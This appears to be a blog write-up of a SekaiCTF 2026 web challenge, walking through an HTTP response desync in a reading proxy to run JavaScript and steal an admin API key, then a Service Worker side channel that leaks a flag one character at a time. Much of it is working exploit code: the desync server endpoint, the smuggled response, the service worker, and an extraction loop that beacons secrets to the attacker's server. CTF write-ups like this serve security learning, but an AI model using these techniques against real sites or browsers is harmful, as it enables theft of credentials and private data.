Hey hey! Back again with another wild web challenge. This one is from SekaiCTF 2026. Will talk about HTTP Desync + XS-Leak in technical details! Simply explained. Hope you enjoy!
Download challenge from here

Challenge Overview

We get a "ReadView" app, basically a reading proxy. You register a URL, the proxy fetches it for you, and serves it at /view/<name>/. There's an admin bot with a session cookie, and on the backend there's a Flask API holding the flag.

The Architecture

  • The bot visits any URL we give it. It has an admin session cookie set on localhost:3000.
  • The proxy proxies our registered pages and applies a strict CSP: no inline scripts, script-src 'self' only.
  • The API holds the flag in _INBOX. We can search it with a valid API key. The API key is shown on /admin.
  • The API is not publicly reachable. Host header check blocks anything that isn't localhost, api, or 127.0.0.1.
The attack path is:
  1. Get JS running on the proxy origin -> read /admin -> grab the API key
  2. Use the API key to extract the flag from the search endpoint
Let's go stage by stage.

Stage 1: Making the Proxy Execute Our JS

Let's go over some basics first.
How Does HTTP Keep-Alive Work?
When your browser loads a page, it doesn't open a new connection for every single file. That would be so slow. Instead, HTTP/1.1 keeps the connection open and reuses it for multiple requests. Request 1 goes in, response 1 comes back, then request 2 goes in on the same connection, and so on
But here's the question: how does the browser know where one response ends and the next begins?
Answer: the Content-Length header. It tells the browser exactly the length the response body is. Once the browser reads that many bytes, it considers the response done and marks the connection as free for the next request
Server -> Browser:

HTTP/1.1 200 OK
Content-Length: 5       <- "body is exactly 5 bytes"

Hello                   <- browser reads 5 bytes, stops. response done.

The Bug in the Proxy

The proxy tries to block scripts. When a request has Sec-Fetch-Dest: script (browser adds this automatically for <script> tags), the proxy does this:
// proxy/app.js
if (req.headers['sec-fetch-dest'] === 'script') {
    h['content-length'] = '0'     // "body is 0 bytes" -> tell browser it's empty
    delete h['transfer-encoding']
}

res.writeHead(proxyRes.statusCode, proxyRes.statusMessage, h)
proxyRes.pipe(res)   // <<<< but still pipes the full body here
The proxy sends Content-Length: 0 to the browser, but then it still sends the entire upstream body to the TCP socket
What does the browser do? It reads CL: 0, considers the response finished (zero bytes = done), and puts the socket back into the connection pool for reuse. The extra bytes keep arriving... but the browser already moved on. Those bytes sit orphaned in the TCP buffer
When the next http request gets assigned to that same connection, the browser's HTTP parser reads those orphaned bytes and treats them as the start of a new response. If those bytes happen to look like a valid HTTP response (important. this is a must!) the browser acts on them
This is called an HTTP response desync. The browser's view of where responses begin and end is "out of sync" with what actually happened
Side note: Why doesn't Node.js stop this? Because Node.js doesn't enforce Content-Length on writes. You can declare CL: 0 and still write as many bytes as you want. It just doesn't care:
// Node.js _http_outgoing.js
OutgoingMessage.prototype.write = function(chunk) {
    this._send(chunk) // no check against declared Content-Length
}
Read more on Portswigger's HTTP Desync Attacks

Exploitation

Before we get into the steps, one thing needs mentioning: how do we make the orphaned bytes useful?
We mentioned that it will be in the start of the next response, but a response is not valid with just body bytes, it needs status line, headers .. etc
Those orphaned bytes need to look like a complete, valid HTTP response on their own: status line, headers, and a JS body. We craft that entire response ourselves and send it as the body of s6.
Now some chrome stuff
Chrome opens a maximum of 6 connections per host. If all 6 are occupied, any new request has to wait in line. When a socket frees up, the next waiting request gets assigned to it
Here is the plan:
We will load 8 scripts. We keep all 6 connections busy with slow-responding scripts, then trigger the desync on one of them. The queued scripts (s7/s8) just need a free socket, and the one they get happens to be poisoned with our orphaned bytes
To simply put it:
s1  ----[stall 2s, empty]---->  just occupies slot 1
s2  ----[stall 2s, empty]---->  just occupies slot 2
s3  ----[stall 2s, empty]---->  just occupies slot 3
s4  ----[stall 2s, empty]---->  just occupies slot 4
s5  ----[stall 2s, empty]---->  just occupies slot 5

s6  ----[flush headers]------->  proxy sends CL:0 to browser
                                 browser: "response done, socket is FREE"
        [500ms later]
        [write full HTTP response as body bytes onto that socket]
                                 browser: doesn't care, already moved on
                                 bytes sit ORPHANED on the freed socket

s7  ----[waiting...]----------> no free slot yet...
                                 s6 socket just freed!
                                 assigned to s7
                                 browser reads orphaned bytes as s7's response
                                 Content-Type: application/javascript
                                 JS EXECUTES on proxy origin

s8  ----[waiting...]----------> backup in case s7 misses

Step 1: Register our server on the proxy
GET /add?name=evil&url=http://OUR_VPS:9999/
Now /view/evil/ proxies to our server.
Step 2: Submit the trigger URL to the bot:
We don't submit /view/evil/ directly. Instead, we submit a page on our own server that opens the proxy page in a popup:
<!-- Our /trigger page -->
<script>window.open('http://localhost:3000/view/evil/')</script>
<img src="/sleep">  <!-- keeps the trigger page alive for 30 seconds -->
The bot lands on our trigger page, which opens a popup to the proxy. That popup is what runs our attack
Step 3: The pool saturation page
When the proxy fetches our upstream / page (to serve it at /view/evil/), we return 8 script tags:
<script async src="s1.js"></script>
<script async src="s2.js"></script>
<!-- ... -->
<script async src="s8.js"></script>
Chrome opens max 6 connections per host. All 8 script requests go through the proxy with Sec-Fetch-Dest: script. Scripts s1-s5, s7-s8 deliberately stall for 2 seconds, keeping all 6 connections busy.
Step 4: The desync payload (s6.js)
s6.js is our magic endpoint. Here's what it sends:
if (p === '/s6.js') {
    // The outer response: we tell proxy our body will be N bytes
    // content-type: not/script avoids secondary type checks
    res.writeHead(200, {
        'content-type':   'not/script',
        'content-length': Buffer.byteLength(SMUGGLED_RESPONSE),
        'expect':         '100-continue'
    })

    // Flush the headers NOW - don't wait for the body
    // -> proxy immediately re-frames these headers to the browser as CL:0
    // -> browser sees CL:0, considers s6.js "done", socket goes back to pool
    res.flushHeaders()

    // 500ms later: write our REAL payload as the "body"
    // These bytes arrive AFTER the browser has marked the socket as free
    setTimeout(() => {
        res.socket.write(SMUGGLED_RESPONSE)  // raw write, bypasses Node's framing
        res.end()
    }, 500)
}
SMUGGLED_RESPONSE is a complete, properly-formatted HTTP response:
HTTP/1.1 200 OK
Content-Type: application/javascript
Content-Length: <size of our JS>
Connection: keep-alive

(function() {
    // our malicious JS here - runs on proxy origin!
})();
What flushHeaders() + Expect: 100-continue does: It forces the headers to be sent to the browser immediately, without waiting for the body. The proxy sees our upstream headers, applies the CL:0 rewrite, and sends those headers to the browser right now. The browser marks the socket as free. Then 500ms later, our body bytes arrive, but the browser's "socket is done" flag is already set, so those bytes land as orphans
Step 5: The collision
With all 6 connections tied up by the slow scripts, and the orphaned bytes sitting in the pool... one of the queued script requests (s7 or s8) gets assigned to that exact socket. Chrome's parser reads the orphaned bytes, parses them as a proper HTTP response, and since Content-Type: application/javascript -> executes the code.
and we simply just exfiltrate the api key
Desync Flow

Stage 2: Leaking the Flag

The Oracle

The API's search endpoint does this:
# api/app.py
q = request.args.get("q", "")
results = [m for m in _INBOX if m.startswith(q)]   # prefix match
data = json.dumps({"results": results}).encode()

return send_file(io.BytesIO(data), mimetype="application/json", conditional=True)
conditional=True enables HTTP Range requests
Here's the key insight: the response body size changes depending on whether q is a correct prefix:
Query qMatch?BodySize
SEKAI{yes{"results":["SEKAI{...full flag...}"]}~43 bytes
SEKAI{zno{"results":[]}15 bytes
Now if we add a Range: bytes=20- header to our request:
  • Hit (~43 bytes): bytes 20-42 exist -> 206 Partial Content
  • Miss (~15 bytes): byte 20 doesn't exist -> 416 Range Not Satisfiable
Clean binary signal. But... we can't read the status of a cross-origin response. So how do we observe the 206 vs 416 difference?

The Side Channel

The bot runs puppeteer 22.12.0, which bundles Chrome 126 (126.0.6478.63). And we have this CVE-2026-1504 and its Chromium Issue 474435504
When a Service Worker replays a captured opaque 206 Partial Content response back to a fetch() call, the fetch rejects. But an opaque 416 response lets the fetch resolve
Did you get it? We needed a way to differentiate between 206 and 416, and this is our way to it
Now let me walk you through the full mechanism

Step-by-Step: The Service Worker Oracle

Our oracle page (on our server, in the bot's popup) registers a Service Worker. SWs can intercept all fetches from their controlled page, including cross-origin ones to localhost:9090.
We load an <audio> element pointing at the API search endpoint:
var a = document.createElement('audio')
a.src = 'http://localhost:9090/messages/search'
      + '?q=' + encodeURIComponent(guess)
      + '&key=' + apiKey
      + '&size=30'        // tells our SW how many fake bytes to use
      + '&_=' + Math.random()
document.body.appendChild(a)
Chrome's audio engine automatically issues two Range requests for audio content:
  1. Range: bytes=0- -> to get the beginning
  2. Range: bytes=30- -> to get the rest (after seeing the first 30 bytes)
Our Service Worker intercepts both:
// sw.js
var _r   // saved opaque response

self.addEventListener('fetch', function(e) {
    var u  = new URL(e.request.url)
    var sz = new URLSearchParams(u.search).get('size')

    if (sz !== null) {
        var n = Number(sz)  // n = 30

        // First range request: we FAKE a 206 with exactly 30 bytes
        // This tricks Chrome into asking for the rest
        if (e.request.headers.get('range') === 'bytes=0-') {
            e.respondWith(new Response('A'.repeat(n), {
                status: 206,
                headers: {
                    'Content-Type':  'audio/mpeg',
                    'Content-Range': 'bytes 0-' + (n-1) + '/999999',
                    'Accept-Ranges': 'bytes'
                }
            }))
            return
        }

        // Second range request: forward to the REAL API, save the response
        if (e.request.headers.get('range') === 'bytes=' + n + '-') {
            e.respondWith(
                fetch(e.request)
                    .then(function(r) {
                        _r = r.clone()   // save the opaque response!
                        return r
                    })
                    .catch(function() {
                        return new Response('', { status: 416 })
                    })
            )
            return
        }
    }

    // Replay the saved response when asked for /mock.css
    if (u.pathname.includes('mock.css') && _r) {
        var t = _r; _r = undefined
        e.respondWith(t.clone())
    }
})
After audio.onerror fires (it always errors because we gave it fake audio data):
a.onerror = function() {
    // Try to "fetch" /mock.css -> SW will serve the saved opaque response
    fetch('/mock.css', { mode: 'no-cors' })
        .then(function()  { resolve(false) })   // 416 (miss) -> resolves -> false
        .catch(function() { resolve(true)  })   // 206 (hit)  -> rejects  -> true
}
The full flow:
XS-Leak Oracle Flow

Extracting the Flag Character by Character

Now we have a yes/no oracle for any prefix guess. We loop through a charset and extend the known prefix one character at a time:
var CHARSET = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!@#$%&-'
var secret  = ''    // start empty (or from a known prefix if resuming)

for (var i = 0; i < 80; i++) {
    var found = false
    for (var j = 0; j < CHARSET.length; j++) {
        if (await oracle(secret + CHARSET[j])) {
            secret += CHARSET[j]
            found = true
            break
        }
    }
    // Report progress to our server
    new Image().src = '/cb?token=' + encodeURIComponent(secret)
    if (!found) break   // flag complete
}
SEKAI{proxy_said_n0_w4y_l0ng_W4y_4nD_f1n4lllyyy_Y0u_are_H3r3_here_eda1ndj}
Edit: someone actually solved it with a timing side channel instead. The response body size differs by ~28 bytes between a hit and a miss, too small to measure reliably on its own. The trick was amplification: fire 160 parallel requests per guess and measure total completion time. 160 * 28 bytes = 4480 bytes of extra data on a hit, which creates a consistent, measurable gap even over loopback.
here is his comment in the server for credit: here (you must join the discord server to view this message)

This one took a lot of research and iteration. Big respect to the challenge author zonkor, check out his solver and writeup here
That was it, stay amazing. See you in the next one!